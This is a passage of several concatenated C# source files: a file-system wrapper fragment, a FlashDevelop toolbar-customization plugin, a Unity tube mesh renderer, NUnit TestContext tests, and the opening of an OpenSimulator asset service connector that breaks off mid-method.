directories</typeparam> /// <typeparam name="TContext">The concrete type holding global state</typeparam> /// <returns>The actual file system instance.</returns> protected VfsFileSystem<TDirEntry, TFile, TDirectory, TContext> GetRealFileSystem<TDirEntry, TFile, TDirectory, TContext>() where TDirEntry : VfsDirEntry where TFile : IVfsFile where TDirectory : class, IVfsDirectory<TDirEntry, TFile>, TFile where TContext : VfsContext { return (VfsFileSystem<TDirEntry, TFile, TDirectory, TContext>)_wrapped; } /// <summary> /// Provides access to the actual file system implementation /// </summary> /// <typeparam name="T">The concrete type of the actual file system.</typeparam> /// <returns>The actual file system instance.</returns> protected T GetRealFileSystem<T>() where T : DiscFileSystem { return (T)_wrapped; } } }
using System; using System.IO; using System.Windows.Forms; using System.ComponentModel; using PluginCore.Localization; using PluginCore.Utilities; using PluginCore.Managers; using PluginCore; using System.Drawing; using System.Runtime.InteropServices; using CustomizeToolbar.Helpers; using CustomizeToolbar.Controls; using System.Collections.Generic; using PluginCore.Helpers; namespace CustomizeToolbar { public class PluginMain : IPlugin { private const int API_KEY = 1; private const String NAME = "CustomizeToolbar"; private const String GUID = "A6A38601-1DAC-4d2e-A610-5D6400093346"; private const String HELP = "www.flashdevelop.org/community/viewtopic.php?f=4&t=9482"; private const String DESCRIPTION = "Allows you to customize the order and visibility of toolbar items."; private const String AUTHOR = "Joey Robichaud"; private String _settingsFilename = ""; private Settings _settings = null; private CustomizeDialog _dialog = new CustomizeDialog(); #region Required Properties /// <summary> /// Api level of the plugin /// </summary> public Int32 Api { get { return API_KEY; } } /// <summary> /// Name of the plugin /// </summary> public String Name { get { return NAME; } } /// <summary> /// GUID of the plugin /// </summary> public String Guid { get { return GUID; } } /// <summary> /// Author of the plugin /// </summary> public String Author { get { return AUTHOR; } } /// <summary> /// Description of the plugin /// </summary> public String Description { get { return DESCRIPTION; } } /// <summary> /// Web address for help /// </summary> public String Help { get { return HELP; } } /// <summary> /// Object that contains the settings /// </summary> [Browsable(false)] public Object Settings { get { return this._settings; } } #endregion #region Required Methods /// <summary> /// Initializes the plugin /// </summary> public void Initialize() { this.InitBasics(); this.LoadSettings(); this.CreateMenuItems(); this.AddEventHandlers(); } /// <summary> /// Disposes the plugin /// </summary> public void Dispose() { this.SaveSettings(); } /// <summary> /// Handles the incoming events /// </summary> public void HandleEvent(Object sender, NotifyEvent e, HandlingPriority prority) { if (e.Type == EventType.UIStarted) { // Use a timer to wait for any additional updates new Timer() { Interval = 100, Enabled = true }.Tick += new EventHandler(PluginMain_Tick); } } void PluginMain_Tick(object sender, EventArgs e) { Timer timer = (Timer)sender; timer.Stop(); timer.Tick -= new EventHandler(PluginMain_Tick); PopulateToolbarItems(); } #endregion #region Plugin Methods private void CustomizeClick(object sender, EventArgs e) { _dialog.ShowDialog(); } public void PopulateToolbarItems() { SyncToolbarItems(); AddMenuItems(); ToolbarHelper.ArrangeToolbar(_settings.ToolItems); _dialog.Items = _settings.ToolItems; } private void SyncToolbarItems() { List<ToolItem> toolItems = _settings.ToolItems; bool firstRun = toolItems.Count == 0; int unknownIndex = 0; int separatorIndex = 0; for (int index = 0; index < PluginBase.MainForm.ToolStrip.Items.Count; index++) { ToolStripItem item = PluginBase.MainForm.ToolStrip.Items[index]; if (item.Alignment == ToolStripItemAlignment.Right) continue; // Give separators a name if (item is ToolStripSeparator) item.Name = "Separator" + separatorIndex++; // Name buttons without a name if (string.IsNullOrEmpty(item.Name)) if (string.IsNullOrEmpty(item.Text)) item.Name = "Unknown" + unknownIndex++; else item.Name = item.Text.Replace(" ", ""); // Sync ToolItems with their ToolButtons if (!firstRun) { bool found = false; foreach (ToolItem toolItem in toolItems) { if (string.IsNullOrEmpty(toolItem.MenuName) && toolItem.Name == item.Name) { found = true; toolItem.Item = item; break; } } if (found) continue; } // Add new items to our configuration toolItems.Add(new ToolItem(item)); } } private void AddMenuItems() { List<ToolItem> toolItems = _settings.ToolItems; foreach (ToolItem toolItem in toolItems) { if (!string.IsNullOrEmpty(toolItem.MenuName)) { if (toolItem.MenuName == "-") { toolItem.Item = new ToolStripSeparator(); toolItem.Item.Name = "-"; continue; } ToolStripMenuItem menu = null; // Find Menu foreach (ToolStripMenuItem item in PluginBase.MainForm.MenuStrip.Items) { string itemText = item.Text.Replace("&", ""); if (itemText == toolItem.MenuName) { menu = item; break; } } // Find Menu Item foreach (ToolStripItem menuItem in menu.DropDownItems) { if (menuItem.Text == toolItem.Text) { if (!string.IsNullOrEmpty(toolItem.ImageName)) { int imageNumber = -1; if (int.TryParse(toolItem.ImageName, out imageNumber)) menuItem.Image = PluginBase.MainForm.FindImage(toolItem.ImageName); else if (File.Exists(toolItem.ImageName)) menuItem.Image = Image.FromFile(toolItem.ImageName); } // Create ToolButton for menu item ToolStripButton toolButton = ToolbarHelper.CreateButton((ToolStripMenuItem)menuItem); toolItem.Item = toolButton; break; } } } } } #endregion #region Custom Methods /// <summary> /// Initializes important variables /// </summary> public void InitBasics() { String dataPath = Path.Combine(PluginCore.Helpers.PathHelper.DataDir, NAME); if (!Directory.Exists(dataPath)) Directory.CreateDirectory(dataPath); _settingsFilename = Path.Combine(dataPath, "Settings.fdb"); } /// <summary> /// Adds the required event handlers /// </summary> public void AddEventHandlers() { // Set events you want to listen (combine as flags) EventManager.AddEventHandler(this, EventType.UIStarted, HandlingPriority.Low); } /// <summary> /// Adds shortcuts for manipulating the mini map /// </summary> public void CreateMenuItems() { ContextMenuStrip menu = new ContextMenuStrip(); menu.ImageScalingSize = ScaleHelper.Scale(new Size(16, 16)); menu.Renderer = new DockPanelStripRenderer(); menu.Items.Add(ResourceHelper.GetString("CustomizeToolbar.Label.Customize"), PluginBase.MainForm.FindImage("127"), CustomizeClick); PluginBase.MainForm.ToolStrip.ContextMenuStrip = menu; } /// <summary> /// Loads the plugin settings /// </summary> public void LoadSettings() { _settings = new Settings(); if (!File.Exists(_settingsFilename)) this.SaveSettings(); else { Object obj = ObjectSerializer.Deserialize(_settingsFilename, _settings); _settings = (Settings)obj; } } /// <summary> /// Saves the plugin settings /// </summary> public void SaveSettings() { ObjectSerializer.Serialize(_settingsFilename, _settings); } #endregion } }
using UnityEngine; // The concept of a MeshBuilder (and much of the code) is adapted from // http://jayelinda.com/, Modelling by Numbers series [RequireComponent(typeof(MeshFilter))] public class TubeRenderer : MonoBehaviour { [SerializeField] float _thickness = 0.5f; [SerializeField] int _radialResolution = 3; [SerializeField] [VectorMagnitude] Vector3 _firstNormal = Vector3.right; [SerializeField] int _maxLength; [SerializeField] bool _fullRecomputeEveryFrame; ISegmentsProvider _provider; Vector3[] _normals; void OnValidate () { _maxLength = Mathf.Min(((int)ushort.MaxValue) / _radialResolution, _maxLength); } private MeshBuilder _tubeBuilder = new MeshBuilder(); private MeshFilter _meshFilter; void Awake () { _provider = gameObject.GetInterface<ISegmentsProvider>(); _normals = new Vector3[_maxLength]; } void OnEnable () { _meshFilter = GetComponent<MeshFilter>(); } void Start () { int maxVerts = _maxLength * (_radialResolution + 1); int maxIndices = (_maxLength - 1) * _radialResolution * 2 * 3; _tubeBuilder.Init(maxVerts, maxIndices); } void UpdateNormalVecs (ref Vector3[] normals, int startingIndex = 0) { // Compute the || transport frame as described at https://www.cs.indiana.edu/ftp/techreports/TR425.pdf // Debug.Log(startingIndex); int segmentCount = Mathf.Min(_maxLength, _provider.Count); int lastIndex = segmentCount - 1; normals[0] = _firstNormal; for (int i = startingIndex; i < lastIndex; i++) { Vector3 binormal = Vector3.Cross(_provider.Tangent(i), _provider.Tangent(i + 1)); if (Mathf.Approximately(binormal.sqrMagnitude, 0f)) { normals[i + 1] = normals[i]; } else { binormal = binormal.normalized; var theta = Vector3.Angle(_provider.Tangent(i), _provider.Tangent(i + 1)); normals[i + 1] = Quaternion.AngleAxis(theta, binormal) * normals[i]; } } } int _cachedSegmentCount; void Update () { int segmentCount = Mathf.Min(_maxLength, _provider.Count); if (segmentCount == 0) { return; } int startingIndex = 0; if (_fullRecomputeEveryFrame) { _tubeBuilder.Restart(); } else if (_cachedSegmentCount > 0) { startingIndex = _cachedSegmentCount - 1; _tubeBuilder.RollbackTo(vertCount: startingIndex * _radialResolution, uvCount: 0, triIndexCount: Mathf.Max(startingIndex - 1, 0) * 3 * 2 * _radialResolution); } else { _tubeBuilder.Restart(); } UpdateNormalVecs(ref _normals, Mathf.Max(startingIndex - 1, 0)); for (int i = startingIndex; i < segmentCount; i++) { Quaternion rotation; rotation = Quaternion.LookRotation(_normals[i], _provider.Tangent(i)); Vector3 centerPos = _provider.Segment(i); bool buildTriangles = i > 0; BuildRingWithoutUVs(_tubeBuilder, _radialResolution, centerPos, _thickness, buildTriangles, rotation); } for (int i = 0; i < segmentCount; i++) { #if UNITY_EDITOR Debug.DrawRay(_provider.Segment(i) + transform.position, _normals[i], Color.blue); Debug.DrawRay(_provider.Segment(i) + transform.position, _provider.Tangent(i), Color.green); #endif float v = i / (float)segmentCount; BuildRingUVs(_tubeBuilder, _radialResolution, v); } _meshFilter.sharedMesh = _tubeBuilder.Recalculate(); _cachedSegmentCount = segmentCount; } static void BuildRing (MeshBuilder meshBuilder, int segmentCount, Vector3 center, float radius, float v, bool buildTriangles, Quaternion rotation) { // Precomputed Sine/Cosine circle drawing from http://slabode.exofire.net/circle_draw.shtml float theta = 2f * Mathf.PI / (float)segmentCount; float c = Mathf.Cos(theta); float s = Mathf.Sin(theta); float t; float x = radius;//we start at angle = 0 float y = 0; // Since we haven't added any yet, we don't need to -1 int ringBaseIndex = meshBuilder.VertexCount; for (int i = 0; i < segmentCount; i++) { Vector3 unitPosition = Vector3.zero; unitPosition.x = x; unitPosition.z = y; unitPosition = rotation * unitPosition; meshBuilder.AddVertex(center + unitPosition);// * radius meshBuilder.AddNormal(unitPosition); meshBuilder.AddUV(new Vector2((float)i / segmentCount, v)); if (buildTriangles) { int vertsPerRow = segmentCount; int index0 = ringBaseIndex + i; int index1 = ringBaseIndex + MathHelpers.Mod(i - 1, segmentCount); // before base int index2 = ringBaseIndex + i - vertsPerRow; // below base int index3 = ringBaseIndex + MathHelpers.Mod(i - 1, segmentCount) - vertsPerRow; // before below base // Debug.Log(string.Format("TRI{0}>{1}>{2}", index0, index2, index1)); meshBuilder.AddTriangle(index0, index2, index1); // Debug.Log(string.Format("TRI{0}>{1}>{2}", index2, index3, index1)); meshBuilder.AddTriangle(index2, index3, index1); } t = x; x = c * x - s * y; y = s * t + c * y; } } static void BuildRingUVs (MeshBuilder meshBuilder, int segmentCount, float v) { for (int i = 0; i < segmentCount; i++) { meshBuilder.AddUV(new Vector2((float)i / segmentCount, v)); } } static void BuildRingWithoutUVs (MeshBuilder meshBuilder, int segmentCount, Vector3 center, float radius, bool buildTriangles, Quaternion rotation) { // Precomputed Sine/Cosine circle drawing from http://slabode.exofire.net/circle_draw.shtml float theta = 2f * Mathf.PI / (float)segmentCount; float c = Mathf.Cos(theta); float s = Mathf.Sin(theta); float t; float x = radius;//we start at angle = 0 float y = 0; // Since we haven't added any yet, we don't need to -1 int ringBaseIndex = meshBuilder.VertexCount; for (int i = 0; i < segmentCount; i++) { Vector3 unitPosition = Vector3.zero; unitPosition.x = x; unitPosition.z = y; unitPosition = rotation * unitPosition; meshBuilder.AddVertex(center + unitPosition * radius); meshBuilder.AddNormal(unitPosition); if (buildTriangles) { int vertsPerRow = segmentCount; int index0 = ringBaseIndex + i; int index1 = ringBaseIndex + MathHelpers.Mod(i - 1, segmentCount); // before base int index2 = ringBaseIndex + i - vertsPerRow; // below base int index3 = ringBaseIndex + MathHelpers.Mod(i - 1, segmentCount) - vertsPerRow; // before below base // Debug.Log(string.Format("TRI{0}>{1}>{2}", index0, index2, index1)); meshBuilder.AddTriangle(index0, index2, index1); // Debug.Log(string.Format("TRI{0}>{1}>{2}", index2, index3, index1)); meshBuilder.AddTriangle(index2, index3, index1); } t = x; x = c * x - s * y; y = s * t + c * y; } } private class MeshBuilder { Mesh _mesh; bool _meshTooBig = false; int _maxCount; public int VertexCount { get; protected set; } Vector3[] _vertices; public int NormalCount { get; protected set; } Vector3[] _normals; public int UvCount { get; protected set; } Vector2[] _uvs; public int IndexCount { get; protected set; } int[] _indices; public void SetVertex (int index, Vector3 v) { _vertices[index] = v; } public void AddVertex (Vector3 newVertex) { if (VertexCount + 1 > _maxCount) { if (!_meshTooBig) { Debug.LogError("Exceeded mesh vert limit! Mesh will disappear!"); } _meshTooBig = true; return; } _vertices[VertexCount] = newVertex; VertexCount++; } public void AddNormal (Vector3 newNormal) { _normals[NormalCount] = newNormal; NormalCount++; } public void AddUV (Vector2 newUV) { _uvs[UvCount] = newUV; UvCount++; } public void AddTriangle (int index0, int index1, int index2) { _indices[IndexCount] = index0; IndexCount++; _indices[IndexCount] = index1; IndexCount++; _indices[IndexCount] = index2; IndexCount++; } public void Init (int maxVerts, int maxIndices) { _maxCount = maxVerts; _vertices = new Vector3[maxVerts]; _normals = new Vector3[maxVerts]; _uvs = new Vector2[maxVerts]; _indices = new int[maxIndices]; _mesh = new Mesh(); _mesh.MarkDynamic(); } public void RollbackTo (int vertCount, int triIndexCount) { IndexCount = triIndexCount; UvCount = vertCount; NormalCount = vertCount; VertexCount = vertCount; } public void RollbackTo (int vertCount, int uvCount, int triIndexCount) { IndexCount = triIndexCount; UvCount = uvCount; NormalCount = vertCount; VertexCount = vertCount; } public void Restart () { // Note: only call this if you are going to reuse // all of the elements again very soon. // Otherwise, parts of the old mesh will remain IndexCount = 0; UvCount = 0; NormalCount = 0; VertexCount = 0; } public Mesh Recalculate () { if (_meshTooBig) { return null; } _mesh.vertices = _vertices; _mesh.triangles = _indices; //Normals are optional. Only use them if we have the correct amount: if (NormalCount == VertexCount) { _mesh.normals = _normals; } //UVs are optional. Only use them if we have the correct amount: if (UvCount == VertexCount) { _mesh.uv = _uvs; } _mesh.RecalculateBounds(); return _mesh; } } }
// *********************************************************************** // Copyright (c) 2011 Charlie Poole, Rob Prouse // // Permission is hereby granted, free of charge, to any person obtaining // a copy of this software and associated documentation files (the // "Software"), to deal in the Software without restriction, including // without limitation the rights to use, copy, modify, merge, publish, // distribute, sublicense, and/or sell copies of the Software, and to // permit persons to whom the Software is furnished to do so, subject to // the following conditions: // // The above copyright notice and this permission notice shall be // included in all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, // EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF // MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND // NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE // LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION // OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION // WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. // *********************************************************************** using System; using System.IO; using System.Collections.Generic; using System.Linq; #if ASYNC using System.Threading.Tasks; #endif using NUnit.Framework.Interfaces; using NUnit.TestData.TestContextData; using NUnit.TestUtilities; using NUnit.Framework.Internal; using static NUnit.Framework.TestContext; namespace NUnit.Framework { [TestFixture] public class TestContextTests { private TestContext _setupContext; private readonly string _name = TestContext.CurrentContext.Test.Name; private readonly string _testDirectory = TestContext.CurrentContext.TestDirectory; private readonly string _workDirectory = TestContext.CurrentContext.WorkDirectory; private string _tempFilePath; private const string TempFileName = "TestContextTests.tmp"; [OneTimeSetUp] public void CreateTempFile() { _tempFilePath = Path.Combine(TestContext.CurrentContext.WorkDirectory, TempFileName); File.Create(_tempFilePath).Dispose(); } [OneTimeTearDown] public void RemoveTempFile() { File.Delete(_tempFilePath); } [SetUp] public void SaveSetUpContext() { _setupContext = TestContext.CurrentContext; } #region TestDirectory [Test] public void ConstructorCanAccessTestDirectory() { Assert.That(_testDirectory, Is.Not.Null); } [TestCaseSource(nameof(TestDirectorySource))] public void TestCaseSourceCanAccessTestDirectory(string testDirectory) { Assert.That(testDirectory, Is.EqualTo(_testDirectory)); } static IEnumerable<string> TestDirectorySource() { yield return TestContext.CurrentContext.TestDirectory; } #endregion #region WorkDirectory [Test] public void ConstructorAccessWorkDirectory() { Assert.That(_workDirectory, Is.Not.Null); } [Test] public void TestCanAccessWorkDirectory() { string workDirectory = TestContext.CurrentContext.WorkDirectory; Assert.NotNull(workDirectory); Assert.That(Directory.Exists(workDirectory), string.Format("Directory {0} does not exist", workDirectory)); } [TestCaseSource(nameof(WorkDirectorySource))] public void TestCaseSourceCanAccessWorkDirectory(string workDirectory) { Assert.That(workDirectory, Is.EqualTo(_workDirectory)); } static IEnumerable<string> WorkDirectorySource() { yield return TestContext.CurrentContext.WorkDirectory; } #endregion #region Test #region Name [Test] public void ConstructorCanAccessFixtureName() { Assert.That(_name, Is.EqualTo("TestContextTests")); } [Test] public void TestCanAccessItsOwnName() { Assert.That(TestContext.CurrentContext.Test.Name, Is.EqualTo("TestCanAccessItsOwnName")); } [Test] public void SetUpCanAccessTestName() { Assert.That(_setupContext.Test.Name, Is.EqualTo(TestContext.CurrentContext.Test.Name)); } [TestCase(5)] public void TestCaseCanAccessItsOwnName(int x) { Assert.That(TestContext.CurrentContext.Test.Name, Is.EqualTo("TestCaseCanAccessItsOwnName(5)")); } #endregion #region FullName [Test] public void SetUpCanAccessTestFullName() { Assert.That(_setupContext.Test.FullName, Is.EqualTo(TestContext.CurrentContext.Test.FullName)); } [Test] public void TestCanAccessItsOwnFullName() { Assert.That(TestContext.CurrentContext.Test.FullName, Is.EqualTo("NUnit.Framework.TestContextTests.TestCanAccessItsOwnFullName")); } [TestCase(42)] public void TestCaseCanAccessItsOwnFullName(int x) { Assert.That(TestContext.CurrentContext.Test.FullName, Is.EqualTo("NUnit.Framework.TestContextTests.TestCaseCanAccessItsOwnFullName(42)")); } #endregion #region MethodName [Test] public void SetUpCanAccessTestMethodName() { Assert.That(_setupContext.Test.MethodName, Is.EqualTo(TestContext.CurrentContext.Test.MethodName)); } [Test] public void TestCanAccessItsOwnMethodName() { Assert.That(TestContext.CurrentContext.Test.MethodName, Is.EqualTo("TestCanAccessItsOwnMethodName")); } [TestCase(5)] public void TestCaseCanAccessItsOwnMethodName(int x) { Assert.That(TestContext.CurrentContext.Test.MethodName, Is.EqualTo("TestCaseCanAccessItsOwnMethodName")); } #endregion #region Id [Test] public void TestCanAccessItsOwnId() { Assert.That(TestContext.CurrentContext.Test.ID, Is.Not.Null.And.Not.Empty); } [Test] public void SetUpCanAccessTestId() { Assert.That(_setupContext.Test.ID, Is.EqualTo(TestContext.CurrentContext.Test.ID)); } #endregion #region Properties [Test] [Property("Answer", "42")] public void TestCanAccessItsOwnProperties() { Assert.That(TestContext.CurrentContext.Test.Properties.Get("Answer"), Is.EqualTo("42")); } #endregion #region Arguments [TestCase(24, "abc")] public void TestCanAccessItsOwnArguments(int x, string s) { Assert.That(TestContext.CurrentContext.Test.Arguments, Is.EqualTo(new object[] { 24, "abc" })); } [Test] public void TestCanAccessEmptyArgumentsArrayWhenDoesNotHaveArguments() { Assert.That(TestContext.CurrentContext.Test.Arguments, Is.EqualTo(new object[0])); } #endregion #endregion #region Result [Test] public void TestCanAccessAssertCount() { var context = TestExecutionContext.CurrentContext; // These are counted as asserts Assert.That(context.AssertCount, Is.EqualTo(0)); Assert.AreEqual(4, 2 + 2); Warn.Unless(2 + 2, Is.EqualTo(4)); // This one is counted below Assert.That(context.AssertCount, Is.EqualTo(3)); // Assumptions are not counted are not counted Assume.That(2 + 2, Is.EqualTo(4)); Assert.That(TestContext.CurrentContext.AssertCount, Is.EqualTo(4)); } [TestCase("ThreeAsserts_TwoFailed", AssertionStatus.Failed, AssertionStatus.Failed)] [TestCase("WarningPlusFailedAssert", AssertionStatus.Warning, AssertionStatus.Failed)] public void TestCanAccessAssertionResults(string testName, params AssertionStatus[] expectedStatus) { AssertionResultFixture fixture = new AssertionResultFixture(); TestBuilder.RunTestCase(fixture, testName); var assertions = fixture.Assertions; Assert.That(assertions.Select((o) => o.Status), Is.EqualTo(expectedStatus)); Assert.That(assertions.Select((o) => o.Message), Has.All.Contains("Expected: 5")); Assert.That(assertions.Select((o) => o.StackTrace), Has.All.Contains(testName)); } [Test] public void TestCanAccessTestState_PassingTest() { TestStateRecordingFixture fixture = new TestStateRecordingFixture(); TestBuilder.RunTestFixture(fixture); Assert.That(fixture.stateList, Is.EqualTo("Inconclusive=>Inconclusive=>Passed")); } [Test] public void TestCanAccessTestState_FailureInSetUp() { TestStateRecordingFixture fixture = new TestStateRecordingFixture(); fixture.setUpFailure = true; TestBuilder.RunTestFixture(fixture); Assert.That(fixture.stateList, Is.EqualTo("Inconclusive=>=>Failed")); } [Test] public void TestCanAccessTestState_FailingTest() { TestStateRecordingFixture fixture = new TestStateRecordingFixture(); fixture.testFailure = true; TestBuilder.RunTestFixture(fixture); Assert.That(fixture.stateList, Is.EqualTo("Inconclusive=>Inconclusive=>Failed")); } [Test] public void TestCanAccessTestState_IgnoredInSetUp() { TestStateRecordingFixture fixture = new TestStateRecordingFixture(); fixture.setUpIgnore = true; TestBuilder.RunTestFixture(fixture); Assert.That(fixture.stateList, Is.EqualTo("Inconclusive=>=>Skipped:Ignored")); } [Test] public void TestContextStoresFailureInfoForTearDown() { var fixture = new TestTestContextInTearDown(); TestBuilder.RunTestFixture(fixture); Assert.That(fixture.FailCount, Is.EqualTo(1)); Assert.That(fixture.Message, Is.EqualTo("Deliberate failure")); Assert.That(fixture.StackTrace, Does.Contain("NUnit.TestData.TestContextData.TestTestContextInTearDown.FailingTest")); } [Test] public void TestContextStoresFailureInfoForOneTimeTearDown() { var fixture = new TestTestContextInOneTimeTearDown(); TestBuilder.RunTestFixture(fixture); Assert.That(fixture.PassCount, Is.EqualTo(2)); Assert.That(fixture.FailCount, Is.EqualTo(1)); Assert.That(fixture.WarningCount, Is.EqualTo(0)); Assert.That(fixture.SkipCount, Is.EqualTo(3)); Assert.That(fixture.InconclusiveCount, Is.EqualTo(4)); Assert.That(fixture.Message, Is.EqualTo(TestResult.CHILD_ERRORS_MESSAGE)); Assert.That(fixture.StackTrace, Is.Null); } #endregion #region Out #if ASYNC [Test] public async Task TestContextOut_ShouldFlowWithAsyncExecution() { var expected = TestContext.Out; await YieldAsync(); Assert.AreEqual(expected, TestContext.Out); } [Test] public async Task TestContextWriteLine_ShouldNotThrow_WhenExecutedFromAsyncMethod() { Assert.DoesNotThrow(TestContext.WriteLine); await YieldAsync(); Assert.DoesNotThrow(TestContext.WriteLine); } [Test] public void TestContextOut_ShouldBeAvailableFromOtherThreads() { var isTestContextOutAvailable = false; Task.Factory.StartNew(() => { isTestContextOutAvailable = TestContext.Out != null; }).Wait(); Assert.True(isTestContextOutAvailable); } private async Task YieldAsync() { #if NET40 await TaskEx.Yield(); #else await Task.Yield(); #endif } #endif #endregion #region Test Attachments [Test] public void FilePathOnlyDoesNotThrow() { Assert.That(() => TestContext.AddTestAttachment(_tempFilePath), Throws.Nothing); } [Test] public void FilePathAndDescriptionDoesNotThrow() { Assert.That(() => TestContext.AddTestAttachment(_tempFilePath, "Description"), Throws.Nothing); } [TestCase(null)] #if PLATFORM_DETECTION [TestCase("bad<>path.png", IncludePlatform = "Win")] #endif public void InvalidFilePathsThrowsArgumentException(string filePath) { Assert.That(() => TestContext.AddTestAttachment(filePath), Throws.InstanceOf<ArgumentException>()); } [Test] public void NoneExistentFileThrowsFileNotFoundException() { Assert.That(() => TestContext.AddTestAttachment("NotAFile.txt"), Throws.InstanceOf<FileNotFoundException>()); } #endregion #region Retry [Test] public void TestCanAccessCurrentRepeatCount() { var context = TestExecutionContext.CurrentContext; Assert.That(context.CurrentRepeatCount, Is.EqualTo(0), "expected TestContext.CurrentRepeatCount to be accessible and be zero on first execution of test"); } #endregion } [TestFixture] public class TestContextTearDownTests { private const int THE_MEANING_OF_LIFE = 42; [Test] public void TestTheMeaningOfLife() { Assert.That(THE_MEANING_OF_LIFE, Is.EqualTo(42)); } [TearDown] public void TearDown() { TestContext context = TestContext.CurrentContext; Assert.That(context, Is.Not.Null); Assert.That(context.Test, Is.Not.Null); Assert.That(context.Test.Name, Is.EqualTo("TestTheMeaningOfLife")); Assert.That(context.Result, Is.Not.Null); Assert.That(context.Result.Outcome, Is.EqualTo(ResultState.Success)); Assert.That(context.Result.PassCount, Is.EqualTo(1)); Assert.That(context.Result.FailCount, Is.EqualTo(0)); Assert.That(context.TestDirectory, Is.Not.Null); Assert.That(context.WorkDirectory, Is.Not.Null); } } [TestFixture] public class TestContextOneTimeTearDownTests { [Test] public void TestTruth() { Assert.That(true, Is.True); } [Test] public void TestFalsehood() { Assert.That(false, Is.False); } [Test, Explicit] public void TestExplicit() { Assert.Pass("Always passes if you run it!"); } [OneTimeTearDown] public void OneTimeTearDown() { TestContext context = TestContext.CurrentContext; Assert.That(context, Is.Not.Null); Assert.That(context.Test, Is.Not.Null); Assert.That(context.Test.Name, Is.EqualTo("TestContextOneTimeTearDownTests")); Assert.That(context.Result, Is.Not.Null); Assert.That(context.Result.Outcome, Is.EqualTo(ResultState.Success)); Assert.That(context.Result.PassCount, Is.EqualTo(2)); Assert.That(context.Result.FailCount, Is.EqualTo(0)); Assert.That(context.Result.SkipCount, Is.EqualTo(1)); } } }
/* * Copyright (c) Contributors, http://opensimulator.org/ * See CONTRIBUTORS.TXT for a full list of copyright holders. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * Neither the name of the OpenSimulator Project nor the * names of its contributors may be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE DEVELOPERS ``AS IS'' AND ANY * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE CONTRIBUTORS BE LIABLE FOR ANY * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ using log4net; using System; using System.Collections.Generic; using System.IO; using System.Reflection; using Nini.Config; using OpenSim.Framework; using OpenSim.Framework.Console; using OpenSim.Framework.Communications; using OpenSim.Framework.Servers.HttpServer; using OpenSim.Services.Interfaces; using OpenMetaverse; namespace OpenSim.Services.Connectors { public class AssetServicesConnector : IAssetService { private static readonly ILog m_log = LogManager.GetLogger( MethodBase.GetCurrentMethod().DeclaringType); private string m_ServerURI = String.Empty; private IImprovedAssetCache m_Cache = null; public AssetServicesConnector() { } public AssetServicesConnector(string serverURI) { m_ServerURI = serverURI.TrimEnd('/'); } public AssetServicesConnector(IConfigSource source) { Initialise(source); } public virtual void Initialise(IConfigSource source) { IConfig assetConfig = source.Configs["AssetService"]; if (assetConfig == null) { m_log.Error("[ASSET CONNECTOR]: AssetService missing from OpanSim.ini"); throw new Exception("Asset connector init error"); } string serviceURI = assetConfig.GetString("AssetServerURI", String.Empty); if (serviceURI == String.Empty) { m_log.Error("[ASSET CONNECTOR]: No Server URI named in section AssetService"); throw new Exception("Asset connector init error"); } m_ServerURI = serviceURI; MainConsole.Instance.Commands.AddCommand("asset", false, "dump asset", "dump asset <id> <file>", "dump one cached asset", HandleDumpAsset); } protected void SetCache(IImprovedAssetCache cache) { m_Cache = cache; } public AssetBase Get(string id) { string uri = m_ServerURI + "/assets/" + id; AssetBase asset = null; if (m_Cache != null) asset = m_Cache.Get(id); if (asset == null) { asset = SynchronousRestObjectRequester. MakeRequest<int, AssetBase>("GET", uri, 0); if (m_Cache != null) m_Cache.Cache(asset); } return asset; } public AssetBase GetCached(string id) { if (m_Cache != null) return m_Cache.Get(id); return null; } public AssetMetadata GetMetadata(string id) { if (m_Cache != null) { AssetBase fullAsset = m_Cache.Get(id); if (fullAsset != null) return fullAsset.Metadata; } string uri = m_ServerURI + "/assets/" + id + "/metadata"; AssetMetadata asset = SynchronousRestObjectRequester. MakeRequest<int, AssetMetadata>("GET", uri, 0); return asset; } public byte[] GetData(string id) { if (m_Cache != null) { AssetBase fullAsset = m_Cache.Get(id); if (fullAsset != null) return fullAsset.Data; } RestClient rc = new RestClient(m_ServerURI); rc.AddResourcePath("assets"); rc.AddResourcePath(id); rc.AddResourcePath("data"); rc.RequestMethod = "GET"; Stream s = rc.Request(); if (s == null) return null; if (s.Length > 0) { byte[] ret = new byte[s.Length]; s.Read(ret, 0, (int)s.Length); return ret; } return null; } public bool Get(string id, Object sender, AssetRetrieved handler) { string uri = m_ServerURI + "/assets/" + id; AssetBase asset = null; if (m_Cache != null) asset = m_Cache.Get(id); if (asset == null) { bool result = false; AsynchronousRestObjectRequester. MakeRequest<int, AssetBase>("GET", uri, 0, delegate(AssetBase a) { if (m_Cache != null) m_Cache.Cache(a); handler(id, sender, a); result = true; }); return result; } else { //Util.FireAndForget(delegate { handler(id, sender, asset); }); handler(id, sender, asset); } return true; } public string Store(AssetBase asset) { if (asset.Temporary || asset.Local) { if (m_Cache != null) 